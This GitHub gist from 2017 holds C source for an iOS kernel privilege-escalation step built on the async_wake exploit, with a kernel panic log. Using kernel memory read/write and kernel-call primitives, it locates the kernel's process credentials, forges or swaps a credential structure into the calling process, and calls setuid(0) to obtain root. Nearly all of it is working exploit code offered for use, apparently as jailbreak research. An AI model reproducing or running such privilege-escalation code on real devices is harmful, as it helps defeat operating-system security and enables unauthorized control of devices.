Last active
December 15, 2017 00:56
-
-
Save stek29/8b808986e7ee3c204bfb76d69577812f to your computer and use it in GitHub Desktop.
setuid(0) with async_wait
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include "kmem.h" | |
#include "kutils.h" | |
#include "symbols.h" | |
#include "rootme.h" | |
#include "kcall.h" | |
#include <unistd.h> | |
/* safe setuid(0) for async_wake by stek29 */ | |
// I was too lazy to write down offsets | |
#include <sys/queue.h> | |
#include <bsm/audit.h> | |
// from bsd/sys/ucred.h | |
struct kern_ucred { | |
TAILQ_ENTRY(kern_ucred) cr_link; /* never modify this without KAUTH_CRED_HASH_LOCK */ | |
u_long cr_ref; /* reference count */ | |
struct kern_posix_cred { | |
/* | |
* The credential hash depends on everything from this point on | |
* (see kauth_cred_get_hashkey) | |
*/ | |
uid_t cr_uid; /* effective user id */ | |
uid_t cr_ruid; /* real user id */ | |
uid_t cr_svuid; /* saved user id */ | |
short cr_ngroups; /* number of groups in advisory list */ | |
gid_t cr_groups[NGROUPS]; /* advisory group list */ | |
gid_t cr_rgid; /* real group id */ | |
gid_t cr_svgid; /* saved group id */ | |
uid_t cr_gmuid; /* UID for group membership purposes */ | |
int cr_flags; /* flags on credential */ | |
} cr_posix; | |
struct label *cr_label; /* MAC label */ | |
/* | |
* NOTE: If anything else (besides the flags) | |
* added after the label, you must change | |
* kauth_cred_find().p | |
*/ | |
struct au_session cr_audit; /* user auditing data */ | |
}; | |
// looks like it's comparing process ucred with kernel's ucred | |
// but we can make a new ucred with same rights! | |
// however, kern_cred_* stuff has it's own hashtable and won't allow duplicates | |
// so we change some fields to make kauth_cred_get_hashkey return different key | |
// that allows us to create a new ucred instead of referencing kernel's one | |
int fuck_shenanigans_tracer(void) { | |
// sorry mom, I had to make it offset-dependent | |
// however, old method could be used tempotarly to read | |
// on device kernelcache and find this offset | |
uint64_t _kauth_cred_create_off = 0xFFFFFFF0073B5AD8; | |
struct kern_ucred new_ucred; | |
uint64_t kern_buf = kmem_alloc(sizeof(new_ucred)); | |
uint64_t slide = find_kernel_base() - 0xFFFFFFF007004000; | |
uint64_t kern_proc = proc_for_pid(0); | |
uint64_t kern_cred = rk64(kern_proc + koffset(KSTRUCT_OFFSET_PROC_UCRED)); | |
rkbuffer(kern_cred, &new_ucred, sizeof(new_ucred)); | |
new_ucred.cr_ref = 1; | |
new_ucred.cr_posix.cr_flags = 0; | |
new_ucred.cr_posix.cr_gmuid = 0; | |
new_ucred.cr_posix.cr_ngroups = 2; | |
wkbuffer(kern_buf, &new_ucred, sizeof(new_ucred)); | |
uint64_t allocd_cred = kcall(_kauth_cred_create_off + slide, 1, kern_buf); | |
if (allocd_cred == 0) { | |
printf("Can't create cred!\n"); | |
kmem_free(kern_buf, sizeof(new_ucred)); | |
return -1; | |
} | |
// only lower 32bits are returned from kcall | |
allocd_cred |= 0xfffffff000000000; | |
uint64_t our_proc = proc_for_pid(getpid()); | |
uint64_t old_ucred = rk64(our_proc + koffset(KSTRUCT_OFFSET_PROC_UCRED)); | |
wk64(our_proc + koffset(KSTRUCT_OFFSET_PROC_UCRED), allocd_cred); | |
// uint32_t csflags = rk32(our_proc + koffset(KSTRUCT_OFFSET_PROC_P_CSFLAGS)); | |
// csflags = (csflags | CS_PLATFORM_BINARY | CS_INSTALLER | CS_GET_TASK_ALLOW) & ~(CS_RESTRICT | CS_KILL | CS_HARD); | |
// wk32(our_proc + koffset(KSTRUCT_OFFSET_PROC_P_CSFLAGS), csflags); | |
kmem_free(kern_buf, sizeof(new_ucred)); | |
return setuid(0); | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
// thx ianbeer for async_wake | |
// proc_for_pid based on cheesecakeufo code | |
#include "kmem.h" | |
#include "kutils.h" | |
#include "symbols.h" | |
#include "rootme.h" | |
uint64_t proc_for_pid(uint32_t pid) { | |
uint64_t task_self = task_self_addr(); | |
uint64_t struct_task = rk64(task_self + koffset(KSTRUCT_OFFSET_IPC_PORT_IP_KOBJECT)); | |
uint64_t next_task = rk64(struct_task + koffset(KSTRUCT_OFFSET_TASK_NEXT)); | |
while (struct_task != 0 && ((struct_task & 0xffff000000000000) == 0xffff000000000000) ) { | |
uint64_t bsd_info = rk64(struct_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO)); | |
uint32_t found = rk32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID)); | |
if (found == pid) { | |
return bsd_info; | |
} | |
struct_task = rk64(struct_task + koffset(KSTRUCT_OFFSET_TASK_PREV)); | |
} | |
struct_task = next_task; | |
while (struct_task != 0 && ((struct_task & 0xffff000000000000) == 0xffff000000000000) ) { | |
uint64_t bsd_info = rk64(struct_task + koffset(KSTRUCT_OFFSET_TASK_BSD_INFO)); | |
uint32_t found = rk32(bsd_info + koffset(KSTRUCT_OFFSET_PROC_PID)); | |
if (found == pid) { | |
return bsd_info; | |
} | |
struct_task = rk64(struct_task + koffset(KSTRUCT_OFFSET_TASK_NEXT)); | |
} | |
return -1; | |
} | |
kern_return_t swap_creds(void) { | |
kern_return_t ret = KERN_SUCCESS; | |
static uint64_t our_proc = -1, kernel_proc = -1, krn_ucred = -1, our_ucred = -1; | |
if (our_proc == -1 && kernel_proc == -1) { | |
uint64_t our_proc = proc_for_pid(getpid()); | |
printf("our proc: %llx\n", our_proc); | |
uint64_t kernel_proc = proc_for_pid(0); | |
printf("krn proc: %llx\n", kernel_proc); | |
if(our_proc == -1 || kernel_proc == -1) { | |
printf("[ERROR]: no our/krn proc. wut\n"); | |
ret = KERN_FAILURE; | |
return ret; | |
} | |
krn_ucred = rk64(kernel_proc + 0x100 /* KSTRUCT_OFFSET_PROC_UCRED */); | |
printf("krn_ucred: %llx\n", krn_ucred); | |
our_ucred = rk64(our_proc + 0x100 /* KSTRUCT_OFFSET_PROC_UCRED */); | |
printf("our_ucred: %llx\n", our_ucred); | |
} | |
if (getuid() != 0) { | |
wk64(our_proc + 0x100 /* KSTRUCT_OFFSET_PROC_UCRED */, krn_ucred); | |
printf("successfully wrote krn_ucred into our proc!\n"); | |
ret = setuid(0) == 0 ? KERN_SUCCESS : KERN_FAILURE; | |
} else { | |
wk64(our_proc + 0x100 /* KSTRUCT_OFFSET_PROC_UCRED */, our_ucred); | |
printf("successfully wrote our_ucred into our proc!\n"); | |
} | |
return ret; | |
} | |
// iOS panics when we don't reset creds/pid back after doing sneaky things | |
// So calling ensure_unroot is neccesarry before returing back to iOS code | |
// Search for "shenanigans" in kernel | |
kern_return_t ensure_unroot(void) { | |
if (getuid() == 0) { | |
return swap_creds(); | |
} | |
return KERN_SUCCESS; | |
} | |
kern_return_t get_root(void) { | |
if (getuid() != 0) { | |
return swap_creds(); | |
} | |
return KERN_SUCCESS; | |
} |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#ifndef rootme_h | |
#define rootme_h | |
kern_return_t get_root(void); | |
kern_return_t ensure_unroot(void); | |
#endif |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
panic(cpu 0 caller 0xfffffff00a18b574): "shenanigans!"@/BuildRoot/Library/Caches/com.apple.xbs/Sources/Sandbox_executables/Sandbox-765.20.5.0.1/src/kext/evaluate.c:2674 | |
Debugger message: panic | |
Memory ID: 0x6 | |
OS version: 15B202 | |
Kernel version: Darwin Kernel Version 17.2.0: Fri Sep 29 18:14:51 PDT 2017; root:xnu-4570.20.62~4/RELEASE_ARM64_T7000 | |
KernelCache UUID: ---who needs dis--- | |
iBoot version: iBoot-4076.20.48 | |
secure boot?: YES | |
Paniclog version: 8 | |
Kernel slide: 0x0000000003a00000 | |
Kernel text base: 0xfffffff00aa04000 | |
Epoch Time: sec usec | |
Boot : 0x5a32e3fc 0x000e5618 | |
Sleep : 0x00000000 0x00000000 | |
Wake : 0x00000000 0x00000000 | |
Calendar: 0x5a32e4ac 0x00022247 | |
Panicked task 0xfffffff10b24bb78: 1732 pages, 3 threads: pid 1: launchd | |
Panicked thread: 0xfffffff10d1b5100, backtrace: 0xfffffff126ad32a0, tid: 4898 | |
lr: 0xfffffff00aba9978 fp: 0xfffffff126ad33d0 | |
lr: 0xfffffff00aa98198 fp: 0xfffffff126ad33e0 | |
lr: 0xfffffff00aac0df8 fp: 0xfffffff126ad3750 | |
lr: 0xfffffff00aac1108 fp: 0xfffffff126ad3790 | |
lr: 0xfffffff00aac0fa8 fp: 0xfffffff126ad37b0 | |
lr: 0xfffffff00a18b574 fp: 0xfffffff126ad38b0 | |
lr: 0xfffffff00a187da0 fp: 0xfffffff126ad3ae0 | |
lr: 0xfffffff00af5d07c fp: 0xfffffff126ad3b50 | |
lr: 0xfffffff00aba9f38 fp: 0xfffffff126ad3c80 | |
lr: 0xfffffff00aa98198 fp: 0xfffffff126ad3c90 |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment